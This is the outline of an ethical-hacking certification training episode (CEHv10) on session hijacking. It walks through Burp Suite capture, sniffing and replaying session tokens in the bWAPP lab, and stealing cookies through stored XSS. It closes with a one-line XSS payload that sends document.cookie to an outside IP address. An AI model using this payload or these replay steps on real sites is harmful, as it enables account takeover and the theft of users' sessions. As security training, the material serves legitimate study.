- Filename: eccouncil-ceh31250-v10-11-1-1-session_hijacking.md
- Show Name: CEHv10 (312-50)
- Topic Name: Attacks and Exploits
- Episode Name: Session Hijacking
- Description: In this episode, Daniel and Zach explore session hijacking. Here they will discuss the possible impact of a successful session hijacking attack and then explore a few simple session hijacking examples; specifically conducting a session replay attack by sniffing session tokens as well as by deploying a XSS attack.

==========

Session Hijacking

- **How dangerous is session hijacking and how difficult is it to pull off?**
    - Can be very dangerous and range from easy to complex to pull off
        - Technically running running Burp Suite is a type of session hijack
            - *Show capturing data with Burp*
        - Getting a victim to add malicious proxy like Burp would be more difficult
            - Need malware install, social engineering
    - Session token stealing/replay through sniffing
        - bWAPP MITM HTTP exercise
        - Sniff connection to bWAPP from 2012 Server
        - Copy Session token
        - Insert Session token into browser
        - Browse to http://bwapp.com/portal.php
            - You are now logged in as AIM user
        - XSS Session stealing
            - Save XSS script in bWAPP Stored (blog)
            - Use SE to get user to browse site
                - Steal them cookies
    - `<script>new Image().src="http://10.0.0.212/bogus.php?output="+document.cookie;</script>`